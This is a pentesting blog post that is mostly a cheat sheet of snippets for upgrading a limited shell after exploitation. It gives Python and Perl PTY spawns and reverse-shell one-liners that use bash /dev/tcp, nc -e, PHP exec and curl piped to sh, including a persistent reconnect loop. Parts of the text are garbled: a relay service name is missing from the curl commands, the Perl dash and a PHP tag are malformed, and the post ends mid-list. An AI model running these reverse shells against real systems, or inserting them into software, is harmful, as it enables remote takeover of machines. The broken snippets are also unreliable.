Post-Exploitation: spawning a shell

Post-Exploitation: spawning a shell

Once you have gained shell access on a machine, you will often find the prompt extremely limited, especially if you have used manual exploitation. In these cases, the shell often cannot perform basic tasks that you would expect from a fully interactive shell prompt like Bash, or zsh. You will also be unable to run intensive interactive commands such as the Vim text editor, or ncurses-based programs.

In those situations, if the system is reasonably standard, you will be able to quickly get a complete shell prompt by invoking a shell of your liking. I generally try to spawn Bash, because it’s shipped by default in most Linux and some Unix systems (like macOS). Bash is reasonably powerful, complete, and well documented. Bash also has additional features, like job control and tab-completion that will only make your life that much easier as a pentester.

These are my favourite snippets, decreasing to the least favourites (or difficult to remember).


Lots of Linux distributions will ship with Python by default. It’s also very easy to read, but being a relatively modern programming language, very outdated servers might not have it installed.

$ python -c 'import pty; pty.spawn("/bin/bash")'

If Python is available, but Bash isn’t installed, you can also try to spawn the Bourne Shell (sh), which is included in even more Unices, but it’s a bit less feature-packed:

$ python -c 'import pty; pty.spawn("/bin/sh")'


If Python is not available, Perl might be. It is much older than Python, and although it’s not very popular anymore, it used to be widely known in Linux sysadmin circles, and soon would become the programming language of choice for system administrators.

$ perl —e 'exec "/bin/sh";'

(As with Python, you can also try Bash).

Spawning a shell directly

The system you’re in might not have Python or Perl, but that doesn’t mean you won’t get a shell. You can try simply calling the shell directly from your session:

$ /bin/sh -i

Reverse shells

You can also try to have the victim machine connect back to your computer for a fully functional Bash shell.

All the following examples require you to have Netcat installed on the attacker’s computer. Then, you can run the following:

$ nc -l -p 8080 -vvv

This opens port 8080. Keep in mind the victim machine needs to be able to reach your computer directly. So if you’re in the same LAN, this trick will work, but it will definitely not work behind a NAT without some port-forwarding. -vvv is for added verbosity.

Once the Netcat socket is listening on the attacking machine, we can try the following snippets on the victim:

Bash magic

$ exec 5<>/dev/tcp/<YOUR_REACHABLE_IP_HERE>/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done

This very helpful trick will come in handy especially when the victim’s computer does not have Netcat installed but Bash is present.


Netcat is almost never present on production systems. But it’s yet another option, and it’s easy to remember too.

$ nc -e /bin/sh <YOUR_REACHABLE_IP_HERE> 8888

PHP with Bash

If the victim is running PHP, chances are high the system has Bash installed as well. In that case, you can try to make the PHP server run the following line.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<YOUR_REACHABLE_IP_HERE>/8080 0>&1'"); ?>

Curl with is a free service that can help you pivot connections. Being a third party, it might stop working eventually, but because it is an HTTPS connection, it has better chances of evading corporate firewalls or even IDSs.

$ curl<YOUR_REACHABLE_IP_HERE>:8080 | sh

If you run an invalid command, the shell will exit. To avoid this, you can force it to keep reconnecting, but this will leave the machine exposed after you finish pentesting it unless you kill the process or reboot the machine.

$ while true; do curl<YOUR_REACHABLE_IP_HERE>:8080 | sh; done

PHP with

<? php exec("curl<YOUR_REACHABLE_IP_HERE>:8080 | sh"); ?>


In no particular order: